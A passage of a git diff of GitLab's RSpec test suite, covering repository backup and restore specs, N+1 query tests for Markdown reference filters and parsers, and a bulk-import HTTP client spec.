+ it_behaves_like 'creates a repository backup'
+ end
+ end
+
+ context 'restore' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:personal_snippet) { create(:personal_snippet, author: project.owner) }
+ let_it_be(:project_snippet) { create(:project_snippet, project: project, author: project.owner) }
+
+ def copy_bundle_to_backup_path(bundle_name, destination)
+ FileUtils.mkdir_p(File.join(Gitlab.config.backup.path, 'repositories', File.dirname(destination)))
+ FileUtils.cp(Rails.root.join('spec/fixtures/lib/backup', bundle_name), File.join(Gitlab.config.backup.path, 'repositories', destination))
+ end
+
+ it 'restores from repository bundles', :aggregate_failures do
+ copy_bundle_to_backup_path('project_repo.bundle', project.disk_path + '.bundle')
+ copy_bundle_to_backup_path('wiki_repo.bundle', project.disk_path + '.wiki.bundle')
+ copy_bundle_to_backup_path('design_repo.bundle', project.disk_path + '.design.bundle')
+ copy_bundle_to_backup_path('personal_snippet_repo.bundle', personal_snippet.disk_path + '.bundle')
+ copy_bundle_to_backup_path('project_snippet_repo.bundle', project_snippet.disk_path + '.bundle')
+
+ subject.start(:restore)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.enqueue(project, Gitlab::GlRepository::WIKI)
+ subject.enqueue(project, Gitlab::GlRepository::DESIGN)
+ subject.enqueue(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.enqueue(project_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.wait
+
+ collect_commit_shas = -> (repo) { repo.commits('master', limit: 10).map(&:sha) }
+
+ expect(collect_commit_shas.call(project.repository)).to eq(['393a7d860a5a4c3cc736d7eb00604e3472bb95ec'])
+ expect(collect_commit_shas.call(project.wiki.repository)).to eq(['c74b9948d0088d703ee1fafeddd9ed9add2901ea'])
+ expect(collect_commit_shas.call(project.design_repository)).to eq(['c3cd4d7bd73a51a0f22045c3a4c871c435dc959d'])
+ expect(collect_commit_shas.call(personal_snippet.repository)).to eq(['3b3c067a3bc1d1b695b51e2be30c0f8cf698a06e'])
+ expect(collect_commit_shas.call(project_snippet.repository)).to eq(['6e44ba56a4748be361a841e759c20e421a1651a1'])
+ end
+
+ it 'raises when the exit code not zero' do
+ expect(subject).to receive(:bin_path).and_return(Gitlab::Utils.which('false'))
+
+ subject.start(:restore)
+ expect { subject.wait }.to raise_error(::Backup::Error, 'gitaly-backup exit status 1')
+ end
+ end
+end
diff --git a/spec/lib/backup/gitaly_rpc_backup_spec.rb b/spec/lib/backup/gitaly_rpc_backup_spec.rb
new file mode 100644
index 00000000000..fb442f4a86f
--- /dev/null
+++ b/spec/lib/backup/gitaly_rpc_backup_spec.rb
@@ -0,0 +1,153 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Backup::GitalyRpcBackup do
+ let(:progress) { spy(:stdout) }
+
+ subject { described_class.new(progress) }
+
+ after do
+ # make sure we do not leave behind any backup files
+ FileUtils.rm_rf(File.join(Gitlab.config.backup.path, 'repositories'))
+ end
+
+ context 'unknown' do
+ it 'fails to start unknown' do
+ expect { subject.start(:unknown) }.to raise_error(::Backup::Error, 'unknown backup type: unknown')
+ end
+ end
+
+ context 'create' do
+ RSpec.shared_examples 'creates a repository backup' do
+ it 'creates repository bundles', :aggregate_failures do
+ # Add data to the wiki, design repositories, and snippets, so they will be included in the dump.
+ create(:wiki_page, container: project)
+ create(:design, :with_file, issue: create(:issue, project: project))
+ project_snippet = create(:project_snippet, :repository, project: project)
+ personal_snippet = create(:personal_snippet, :repository, author: project.owner)
+
+ subject.start(:create)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.enqueue(project, Gitlab::GlRepository::WIKI)
+ subject.enqueue(project, Gitlab::GlRepository::DESIGN)
+ subject.enqueue(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.enqueue(project_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.wait
+
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.wiki.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.design.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', personal_snippet.disk_path + '.bundle'))
+ expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project_snippet.disk_path + '.bundle'))
+ end
+
+ context 'failure' do
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:bundle_to_disk) { raise 'Fail in tests' }
+ end
+ end
+
+ it 'logs an appropriate message', :aggregate_failures do
+ subject.start(:create)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.wait
+
+ expect(progress).to have_received(:puts).with("[Failed] backing up #{project.full_path} (#{project.disk_path})")
+ expect(progress).to have_received(:puts).with("Error Fail in tests")
+ end
+ end
+ end
+
+ context 'hashed storage' do
+ let_it_be(:project) { create(:project, :repository) }
+
+ it_behaves_like 'creates a repository backup'
+ end
+
+ context 'legacy storage' do
+ let_it_be(:project) { create(:project, :repository, :legacy_storage) }
+
+ it_behaves_like 'creates a repository backup'
+ end
+ end
+
+ context 'restore' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:personal_snippet) { create(:personal_snippet, author: project.owner) }
+ let_it_be(:project_snippet) { create(:project_snippet, project: project, author: project.owner) }
+
+ def copy_bundle_to_backup_path(bundle_name, destination)
+ FileUtils.mkdir_p(File.join(Gitlab.config.backup.path, 'repositories', File.dirname(destination)))
+ FileUtils.cp(Rails.root.join('spec/fixtures/lib/backup', bundle_name), File.join(Gitlab.config.backup.path, 'repositories', destination))
+ end
+
+ it 'restores from repository bundles', :aggregate_failures do
+ copy_bundle_to_backup_path('project_repo.bundle', project.disk_path + '.bundle')
+ copy_bundle_to_backup_path('wiki_repo.bundle', project.disk_path + '.wiki.bundle')
+ copy_bundle_to_backup_path('design_repo.bundle', project.disk_path + '.design.bundle')
+ copy_bundle_to_backup_path('personal_snippet_repo.bundle', personal_snippet.disk_path + '.bundle')
+ copy_bundle_to_backup_path('project_snippet_repo.bundle', project_snippet.disk_path + '.bundle')
+
+ subject.start(:restore)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.enqueue(project, Gitlab::GlRepository::WIKI)
+ subject.enqueue(project, Gitlab::GlRepository::DESIGN)
+ subject.enqueue(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.enqueue(project_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.wait
+
+ collect_commit_shas = -> (repo) { repo.commits('master', limit: 10).map(&:sha) }
+
+ expect(collect_commit_shas.call(project.repository)).to eq(['393a7d860a5a4c3cc736d7eb00604e3472bb95ec'])
+ expect(collect_commit_shas.call(project.wiki.repository)).to eq(['c74b9948d0088d703ee1fafeddd9ed9add2901ea'])
+ expect(collect_commit_shas.call(project.design_repository)).to eq(['c3cd4d7bd73a51a0f22045c3a4c871c435dc959d'])
+ expect(collect_commit_shas.call(personal_snippet.repository)).to eq(['3b3c067a3bc1d1b695b51e2be30c0f8cf698a06e'])
+ expect(collect_commit_shas.call(project_snippet.repository)).to eq(['6e44ba56a4748be361a841e759c20e421a1651a1'])
+ end
+
+ it 'cleans existing repositories', :aggregate_failures do
+ expect_next_instance_of(DesignManagement::Repository) do |repository|
+ expect(repository).to receive(:remove)
+ end
+
+ # 4 times = project repo + wiki repo + project_snippet repo + personal_snippet repo
+ expect(Repository).to receive(:new).exactly(4).times.and_wrap_original do |method, *original_args|
+ full_path, container, kwargs = original_args
+
+ repository = method.call(full_path, container, **kwargs)
+
+ expect(repository).to receive(:remove)
+
+ repository
+ end
+
+ subject.start(:restore)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.enqueue(project, Gitlab::GlRepository::WIKI)
+ subject.enqueue(project, Gitlab::GlRepository::DESIGN)
+ subject.enqueue(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.enqueue(project_snippet, Gitlab::GlRepository::SNIPPET)
+ subject.wait
+ end
+
+ context 'failure' do
+ before do
+ allow_next_instance_of(Repository) do |repository|
+ allow(repository).to receive(:create_repository) { raise 'Fail in tests' }
+ allow(repository).to receive(:create_from_bundle) { raise 'Fail in tests' }
+ end
+ end
+
+ it 'logs an appropriate message', :aggregate_failures do
+ subject.start(:restore)
+ subject.enqueue(project, Gitlab::GlRepository::PROJECT)
+ subject.wait
+
+ expect(progress).to have_received(:puts).with("[Failed] restoring #{project.full_path} (#{project.disk_path})")
+ expect(progress).to have_received(:puts).with("Error Fail in tests")
+ end
+ end
+ end
+end
diff --git a/spec/lib/backup/repositories_spec.rb b/spec/lib/backup/repositories_spec.rb
index 7a8cc713e4f..d77b1e0f276 100644
--- a/spec/lib/backup/repositories_spec.rb
+++ b/spec/lib/backup/repositories_spec.rb
@@ -3,37 +3,28 @@
require 'spec_helper'
RSpec.describe Backup::Repositories do
- let(:progress) { StringIO.new }
+ let(:progress) { spy(:stdout) }
+ let(:strategy) { spy(:strategy) }
- subject { described_class.new(progress) }
-
- before do
- allow(progress).to receive(:puts)
- allow(progress).to receive(:print)
-
- allow_next_instance_of(described_class) do |instance|
- allow(instance).to receive(:progress).and_return(progress)
- end
- end
+ subject { described_class.new(progress, strategy: strategy) }
describe '#dump' do
let_it_be(:projects) { create_list(:project, 5, :repository) }
RSpec.shared_examples 'creates repository bundles' do
- specify :aggregate_failures do
- # Add data to the wiki, design repositories, and snippets, so they will be included in the dump.
- create(:wiki_page, container: project)
- create(:design, :with_file, issue: create(:issue, project: project))
+ it 'calls enqueue for each repository type', :aggregate_failures do
project_snippet = create(:project_snippet, :repository, project: project)
personal_snippet = create(:personal_snippet, :repository, author: project.owner)
subject.dump(max_concurrency: 1, max_storage_concurrency: 1)
- expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.bundle'))
- expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.wiki' + '.bundle'))
- expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project.disk_path + '.design' + '.bundle'))
- expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', personal_snippet.disk_path + '.bundle'))
- expect(File).to exist(File.join(Gitlab.config.backup.path, 'repositories', project_snippet.disk_path + '.bundle'))
+ expect(strategy).to have_received(:start).with(:create)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::WIKI)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::DESIGN)
+ expect(strategy).to have_received(:enqueue).with(project_snippet, Gitlab::GlRepository::SNIPPET)
+ expect(strategy).to have_received(:enqueue).with(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ expect(strategy).to have_received(:wait)
end
end
@@ -53,16 +44,18 @@ RSpec.describe Backup::Repositories do
it 'creates the expected number of threads' do
expect(Thread).not_to receive(:new)
+ expect(strategy).to receive(:start).with(:create)
projects.each do |project|
- expect(subject).to receive(:dump_project).with(project).and_call_original
+ expect(strategy).to receive(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
end
+ expect(strategy).to receive(:wait)
subject.dump(max_concurrency: 1, max_storage_concurrency: 1)
end
describe 'command failure' do
- it 'dump_project raises an error' do
- allow(subject).to receive(:dump_project).and_raise(IOError)
+ it 'enqueue_project raises an error' do
+ allow(strategy).to receive(:enqueue).with(anything, Gitlab::GlRepository::PROJECT).and_raise(IOError)
expect { subject.dump(max_concurrency: 1, max_storage_concurrency: 1) }.to raise_error(IOError)
end
@@ -100,9 +93,11 @@ RSpec.describe Backup::Repositories do
.exactly(storage_keys.length * (max_storage_concurrency + 1)).times
.and_call_original
+ expect(strategy).to receive(:start).with(:create)
projects.each do |project|
- expect(subject).to receive(:dump_project).with(project).and_call_original
+ expect(strategy).to receive(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
end
+ expect(strategy).to receive(:wait)
subject.dump(max_concurrency: 1, max_storage_concurrency: max_storage_concurrency)
end
@@ -112,17 +107,18 @@ RSpec.describe Backup::Repositories do
.exactly(storage_keys.length * (max_storage_concurrency + 1)).times
.and_call_original
+ expect(strategy).to receive(:start).with(:create)
projects.each do |project|
- expect(subject).to receive(:dump_project).with(project).and_call_original
+ expect(strategy).to receive(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
end
+ expect(strategy).to receive(:wait)
subject.dump(max_concurrency: 3, max_storage_concurrency: max_storage_concurrency)
end
describe 'command failure' do
- it 'dump_project raises an error' do
- allow(subject).to receive(:dump_project)
- .and_raise(IOError)
+ it 'enqueue_project raises an error' do
+ allow(strategy).to receive(:enqueue).and_raise(IOError)
expect { subject.dump(max_concurrency: 1, max_storage_concurrency: max_storage_concurrency) }.to raise_error(IOError)
end
@@ -162,61 +158,16 @@ RSpec.describe Backup::Repositories do
let_it_be(:personal_snippet) { create(:personal_snippet, author: project.owner) }
let_it_be(:project_snippet) { create(:project_snippet, project: project, author: project.owner) }
- let(:next_path_to_bundle) do
- [
- Rails.root.join('spec/fixtures/lib/backup/project_repo.bundle'),
- Rails.root.join('spec/fixtures/lib/backup/wiki_repo.bundle'),
- Rails.root.join('spec/fixtures/lib/backup/design_repo.bundle'),
- Rails.root.join('spec/fixtures/lib/backup/personal_snippet_repo.bundle'),
- Rails.root.join('spec/fixtures/lib/backup/project_snippet_repo.bundle')
- ].to_enum
- end
-
- it 'restores repositories from bundles', :aggregate_failures do
- allow_next_instance_of(described_class::BackupRestore) do |backup_restore|
- allow(backup_restore).to receive(:path_to_bundle).and_return(next_path_to_bundle.next)
- end
-
+ it 'calls enqueue for each repository type', :aggregate_failures do
subject.restore
- collect_commit_shas = -> (repo) { repo.commits('master', limit: 10).map(&:sha) }
-
- expect(collect_commit_shas.call(project.repository)).to eq(['393a7d860a5a4c3cc736d7eb00604e3472bb95ec'])
- expect(collect_commit_shas.call(project.wiki.repository)).to eq(['c74b9948d0088d703ee1fafeddd9ed9add2901ea'])
- expect(collect_commit_shas.call(project.design_repository)).to eq(['c3cd4d7bd73a51a0f22045c3a4c871c435dc959d'])
- expect(collect_commit_shas.call(personal_snippet.repository)).to eq(['3b3c067a3bc1d1b695b51e2be30c0f8cf698a06e'])
- expect(collect_commit_shas.call(project_snippet.repository)).to eq(['6e44ba56a4748be361a841e759c20e421a1651a1'])
- end
-
- describe 'command failure' do
- before do
- expect(Project).to receive(:find_each).and_yield(project)
-
- allow_next_instance_of(DesignManagement::Repository) do |repository|
- allow(repository).to receive(:create_repository) { raise 'Fail in tests' }
- end
- allow_next_instance_of(Repository) do |repository|
- allow(repository).to receive(:create_repository) { raise 'Fail in tests' }
- end
- end
-
- context 'hashed storage' do
- it 'shows the appropriate error' do
- subject.restore
-
- expect(progress).to have_received(:puts).with("[Failed] restoring #{project.full_path} (#{project.disk_path})")
- end
- end
-
- context 'legacy storage' do
- let_it_be(:project) { create(:project, :legacy_storage) }
-
- it 'shows the appropriate error' do
- subject.restore
-
- expect(progress).to have_received(:puts).with("[Failed] restoring #{project.full_path} (#{project.disk_path})")
- end
- end
+ expect(strategy).to have_received(:start).with(:restore)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::PROJECT)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::WIKI)
+ expect(strategy).to have_received(:enqueue).with(project, Gitlab::GlRepository::DESIGN)
+ expect(strategy).to have_received(:enqueue).with(project_snippet, Gitlab::GlRepository::SNIPPET)
+ expect(strategy).to have_received(:enqueue).with(personal_snippet, Gitlab::GlRepository::SNIPPET)
+ expect(strategy).to have_received(:wait)
end
context 'restoring object pools' do
@@ -242,78 +193,36 @@ RSpec.describe Backup::Repositories do
end
end
- it 'cleans existing repositories' do
- success_response = ServiceResponse.success(message: "Valid Snippet Repo")
- allow(Snippets::RepositoryValidationService).to receive_message_chain(:new, :execute).and_return(success_response)
-
- expect_next_instance_of(DesignManagement::Repository) do |repository|
- expect(repository).to receive(:remove)
- end
-
- # 4 times = project repo + wiki repo + project_snippet repo + personal_snippet repo
- expect(Repository).to receive(:new).exactly(4).times.and_wrap_original do |method, *original_args|
- full_path, container, kwargs = original_args
-
- repository = method.call(full_path, container, **kwargs)
-
- expect(repository).to receive(:remove)
-
- repository
- end
-
- subject.restore
- end
-
- context 'restoring snippets' do
+ context 'cleanup snippets' do
before do
create(:snippet_repository, snippet: personal_snippet)
create(:snippet_repository, snippet: project_snippet)
- allow_next_instance_of(described_class::BackupRestore) do |backup_restore|
- allow(backup_restore).to receive(:path_to_bundle).and_return(next_path_to_bundle.next)
- end
+ error_response = ServiceResponse.error(message: "Repository has more than one branch")
+ allow(Snippets::RepositoryValidationService).to receive_message_chain(:new, :execute).and_return(error_response)
end
- context 'when the repository is valid' do
- it 'restores the snippet repositories' do
- subject.restore
-
- expect(personal_snippet.snippet_repository.persisted?).to be true
- expect(personal_snippet.repository).to exist
+ it 'shows the appropriate error' do
+ subject.restore
- expect(project_snippet.snippet_repository.persisted?).to be true
- expect(project_snippet.repository).to exist
- end
+ expect(progress).to have_received(:puts).with("Snippet #{personal_snippet.full_path} can't be restored: Repository has more than one branch")
+ expect(progress).to have_received(:puts).with("Snippet #{project_snippet.full_path} can't be restored: Repository has more than one branch")
end
- context 'when repository is invalid' do
- before do
- error_response = ServiceResponse.error(message: "Repository has more than one branch")
- allow(Snippets::RepositoryValidationService).to receive_message_chain(:new, :execute).and_return(error_response)
- end
-
- it 'shows the appropriate error' do
- subject.restore
-
- expect(progress).to have_received(:puts).with("Snippet #{personal_snippet.full_path} can't be restored: Repository has more than one branch")
- expect(progress).to have_received(:puts).with("Snippet #{project_snippet.full_path} can't be restored: Repository has more than one branch")
- end
-
- it 'removes the snippets from the DB' do
- expect { subject.restore }.to change(PersonalSnippet, :count).by(-1)
- .and change(ProjectSnippet, :count).by(-1)
- .and change(SnippetRepository, :count).by(-2)
- end
+ it 'removes the snippets from the DB' do
+ expect { subject.restore }.to change(PersonalSnippet, :count).by(-1)
+ .and change(ProjectSnippet, :count).by(-1)
+ .and change(SnippetRepository, :count).by(-2)
+ end
- it 'removes the repository from disk' do
- gitlab_shell = Gitlab::Shell.new
- shard_name = personal_snippet.repository.shard
- path = personal_snippet.disk_path + '.git'
+ it 'removes the repository from disk' do
+ gitlab_shell = Gitlab::Shell.new
+ shard_name = personal_snippet.repository.shard
+ path = personal_snippet.disk_path + '.git'
- subject.restore
+ subject.restore
- expect(gitlab_shell.repository_exists?(shard_name, path)).to eq false
- end
+ expect(gitlab_shell.repository_exists?(shard_name, path)).to eq false
end
end
end
diff --git a/spec/lib/banzai/filter/references/label_reference_filter_spec.rb b/spec/lib/banzai/filter/references/label_reference_filter_spec.rb
index db7dda96cad..b18d68c8dd4 100644
--- a/spec/lib/banzai/filter/references/label_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/label_reference_filter_spec.rb
@@ -702,4 +702,72 @@ RSpec.describe Banzai::Filter::References::LabelReferenceFilter do
expect(result.css('a').first.text).to eq "#{label.name} in #{project.full_name}"
end
end
+
+ context 'checking N+1' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group2) { create(:group) }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
+ let_it_be(:project2) { create(:project, :public, namespace: group2) }
+ let_it_be(:project3) { create(:project, :public) }
+ let_it_be(:project_label) { create(:label, project: project) }
+ let_it_be(:project_label2) { create(:label, project: project) }
+ let_it_be(:project2_label) { create(:label, project: project2) }
+ let_it_be(:group2_label) { create(:group_label, group: group2, color: '#00ff00') }
+ let_it_be(:project_reference) { "#{project_label.to_reference}" }
+ let_it_be(:project_reference2) { "#{project_label2.to_reference}" }
+ let_it_be(:project2_reference) { "#{project2_label.to_reference}" }
+ let_it_be(:group2_reference) { "#{project2.full_path}~#{group2_label.name}" }
+
+ it 'does not have N+1 per multiple references per project', :use_sql_query_cache do
+ markdown = "#{project_reference}"
+ control_count = 1
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+
+ markdown = "#{project_reference} ~qwert ~werty ~ertyu ~rtyui #{project_reference2}"
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(control_count)
+ end
+
+ it 'has N+1 for multiple unique project/group references', :use_sql_query_cache do
+ # reference to already loaded project, only one query
+ markdown = "#{project_reference}"
+ control_count = 1
+
+ expect do
+ reference_filter(markdown, project: project)
+ end.not_to exceed_all_query_limit(control_count)
+
+ # Since we're not batching label queries across projects/groups,
+ # queries increase when a new project/group is added.
+ # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/330359
+ # first reference to already loaded project (1),
+ # second reference requires project and namespace (2), and label (1)
+ markdown = "#{project_reference} #{group2_reference}"
+ max_count = control_count + 3
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(max_count)
+
+ # third reference to already queried project/namespace, nothing extra (no N+1 here)
+ markdown = "#{project_reference} #{group2_reference} #{project2_reference}"
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(max_count)
+
+ # last reference needs another namespace and label query (2)
+ markdown = "#{project_reference} #{group2_reference} #{project2_reference} #{project3.full_path}~test_label"
+ max_count += 2
+
+ expect do
+ reference_filter(markdown)
+ end.not_to exceed_all_query_limit(max_count)
+ end
+ end
end
diff --git a/spec/lib/banzai/filter/references/reference_cache_spec.rb b/spec/lib/banzai/filter/references/reference_cache_spec.rb
index 9e2a6f35910..c9404c381d3 100644
--- a/spec/lib/banzai/filter/references/reference_cache_spec.rb
+++ b/spec/lib/banzai/filter/references/reference_cache_spec.rb
@@ -55,11 +55,12 @@ RSpec.describe Banzai::Filter::References::ReferenceCache do
cache_single.load_records_per_parent
end.count
+ expect(control_count).to eq 1
+
# Since this is an issue filter that is not batching issue queries
# across projects, we have to account for that.
- # 1 for both projects, 1 for issues in each project == 3
- # TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/330359
- max_count = control_count + 1
+ # 1 for original issue, 2 for second route/project, 1 for other issue
+ max_count = control_count + 3
expect do
cache.load_references_per_parent(filter.nodes)
diff --git a/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb b/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb
index 7ab3b24b1c2..2e324669870 100644
--- a/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb
+++ b/spec/lib/banzai/filter/references/snippet_reference_filter_spec.rb
@@ -233,13 +233,15 @@ RSpec.describe Banzai::Filter::References::SnippetReferenceFilter do
reference_filter(markdown)
end.count
+ expect(control_count).to eq 1
+
markdown = "#{reference} $9999990 $9999991 $9999992 $9999993 #{reference2} something/cool$12"
# Since we're not batching snippet queries across projects,
# we have to account for that.
# 1 for both projects, 1 for snippets in each project == 3
# TODO: https://gitlab.com/gitlab-org/gitlab/-/issues/330359
- max_count = control_count + 1
+ max_count = control_count + 2
expect do
reference_filter(markdown)
diff --git a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
index 5f31ad0c8f6..4903f624469 100644
--- a/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/plain_markdown_pipeline_spec.rb
@@ -17,20 +17,6 @@ RSpec.describe Banzai::Pipeline::PlainMarkdownPipeline do
result
end
- context 'when feature flag honor_escaped_markdown is disabled' do
- before do
- stub_feature_flags(honor_escaped_markdown: false)
- end
-
- it 'does not escape the markdown' do
- result = described_class.call(%q(\!), project: project)
- output = result[:output].to_html
-
- expect(output).to eq('<p data-sourcepos="1:1-1:2">!</p>')
- expect(result[:escaped_literals]).to be_falsey
- end
- end
-
describe 'CommonMark tests', :aggregate_failures do
it 'converts all reference punctuation to literals' do
reference_chars = Banzai::Filter::MarkdownPreEscapeFilter::REFERENCE_CHARACTERS
diff --git a/spec/lib/banzai/pipeline/post_process_pipeline_spec.rb b/spec/lib/banzai/pipeline/post_process_pipeline_spec.rb
index 55038d58f22..e8df395564a 100644
--- a/spec/lib/banzai/pipeline/post_process_pipeline_spec.rb
+++ b/spec/lib/banzai/pipeline/post_process_pipeline_spec.rb
@@ -44,18 +44,5 @@ RSpec.describe Banzai::Pipeline::PostProcessPipeline do
subject
end
-
- context 'when "optimize_linkable_attributes" is disabled' do
- before do
- stub_feature_flags(optimize_linkable_attributes: false)
- end
-
- it 'searches for attributes twice' do
- expect(doc).to receive(:xpath).exactly(non_related_xpath_calls + 2).times
- .and_call_original
-
- subject
- end
- end
end
end
diff --git a/spec/lib/banzai/reference_parser/commit_parser_spec.rb b/spec/lib/banzai/reference_parser/commit_parser_spec.rb
index 612ce6b93f1..31cece108bf 100644
--- a/spec/lib/banzai/reference_parser/commit_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/commit_parser_spec.rb
@@ -130,11 +130,11 @@ RSpec.describe Banzai::ReferenceParser::CommitParser do
end
context 'when checking commits on another projects' do
- let(:control_links) do
+ let!(:control_links) do
[commit_link]
end
- let(:actual_links) do
+ let!(:actual_links) do
control_links + [commit_link, commit_link]
end
diff --git a/spec/lib/banzai/reference_parser/issue_parser_spec.rb b/spec/lib/banzai/reference_parser/issue_parser_spec.rb
index 76f13e7b3aa..7de78710d34 100644
--- a/spec/lib/banzai/reference_parser/issue_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/issue_parser_spec.rb
@@ -5,9 +5,11 @@ require 'spec_helper'
RSpec.describe Banzai::ReferenceParser::IssueParser do
include ReferenceParserHelpers
- let(:project) { create(:project, :public) }
- let(:user) { create(:user) }
- let(:issue) { create(:issue, project: project) }
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
let(:link) { empty_html_link }
subject { described_class.new(Banzai::RenderContext.new(project, user)) }
@@ -121,7 +123,7 @@ RSpec.describe Banzai::ReferenceParser::IssueParser do
end
end
- context 'when checking multiple merge requests on another project' do
+ context 'when checking multiple issues on another project' do
let(:other_project) { create(:project, :public) }
let(:other_issue) { create(:issue, project: other_project) }
diff --git a/spec/lib/banzai/reference_parser/merge_request_parser_spec.rb b/spec/lib/banzai/reference_parser/merge_request_parser_spec.rb
index 1820141c898..04c35c8b082 100644
--- a/spec/lib/banzai/reference_parser/merge_request_parser_spec.rb
+++ b/spec/lib/banzai/reference_parser/merge_request_parser_spec.rb
@@ -5,9 +5,11 @@ require 'spec_helper'
RSpec.describe Banzai::ReferenceParser::MergeRequestParser do
include ReferenceParserHelpers
+ let(:group) { create(:group, :public) }
+ let(:project) { create(:project, :public, group: group) }
let(:user) { create(:user) }
- let(:project) { create(:project, :public) }
let(:merge_request) { create(:merge_request, source_project: project) }
+
subject(:parser) { described_class.new(Banzai::RenderContext.new(merge_request.target_project, user)) }
let(:link) { empty_html_link }
@@ -16,10 +18,19 @@ RSpec.describe Banzai::ReferenceParser::MergeRequestParser do
context 'when the link has a data-issue attribute' do
before do
project.update_attribute(:visibility_level, Gitlab::VisibilityLevel::PUBLIC)
+ link['data-project'] = merge_request.project_id.to_s
link['data-merge-request'] = merge_request.id.to_s
end
it_behaves_like "referenced feature visibility", "merge_requests"
+
+ context 'when optimize_merge_request_parser feature flag is off' do
+ before do
+ stub_feature_flags(optimize_merge_request_parser: false)
+ end
+
+ it_behaves_like "referenced feature visibility", "merge_requests"
+ end
end
end
@@ -27,6 +38,7 @@ RSpec.describe Banzai::ReferenceParser::MergeRequestParser do
describe 'when the link has a data-merge-request attribute' do
context 'using an existing merge request ID' do
it 'returns an Array of merge requests' do
+ link['data-project'] = merge_request.project_id.to_s
link['data-merge-request'] = merge_request.id.to_s
expect(subject.referenced_by([link])).to eq([merge_request])
@@ -35,6 +47,7 @@ RSpec.describe Banzai::ReferenceParser::MergeRequestParser do
context 'using a non-existing merge request ID' do
it 'returns an empty Array' do
+ link['data-project'] = merge_request.project_id.to_s
link['data-merge-request'] = ''
expect(subject.referenced_by([link])).to eq([])
@@ -47,16 +60,16 @@ RSpec.describe Banzai::ReferenceParser::MergeRequestParser do
let(:other_project) { create(:project, :public) }
let(:other_merge_request) { create(:merge_request, source_project: other_project) }
- let(:control_links) do
+ let!(:control_links) do
[merge_request_link(other_merge_request)]
end
- let(:actual_links) do
+ let!(:actual_links) do
control_links + [merge_request_link(create(:merge_request, :conflict, source_project: other_project))]
end
def merge_request_link(merge_request)
- Nokogiri::HTML.fragment(%Q{<a data-merge-request="#{merge_request.id}"></a>}).children[0]
+ Nokogiri::HTML.fragment(%Q{<a data-project="#{merge_request.project_id}" data-merge-request="#{merge_request.id}"></a>}).children[0]
end
before do
diff --git a/spec/lib/bulk_imports/clients/http_spec.rb b/spec/lib/bulk_imports/clients/http_spec.rb
index 213fa23675e..ac42f12a3d4 100644
--- a/spec/lib/bulk_imports/clients/http_spec.rb
+++ b/spec/lib/bulk_imports/clients/http_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BulkImports::Clients::Http do
+RSpec.describe BulkImports::Clients::HTTP do
include ImportSpecHelper
let(:uri) { 'http://gitlab.example' }
@@ -48,6 +48,7 @@ RSpec.describe BulkImports::Clients::Http do
[
'http://gitlab.example:80/api/v4/resource',
hash_including(
+ follow_redirects: false,
query: {
page: described_class::DEFAULT_PAGE,
per_page: described_class::DEFAULT_PER_PAGE
@@ -118,6 +119,7 @@ RSpec.describe BulkImports::Clients::Http do
'http://gitlab.example:80/api/v4/resource',
hash_including(
body: {},
+ follow_redirects: false,
headers: {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{token}"
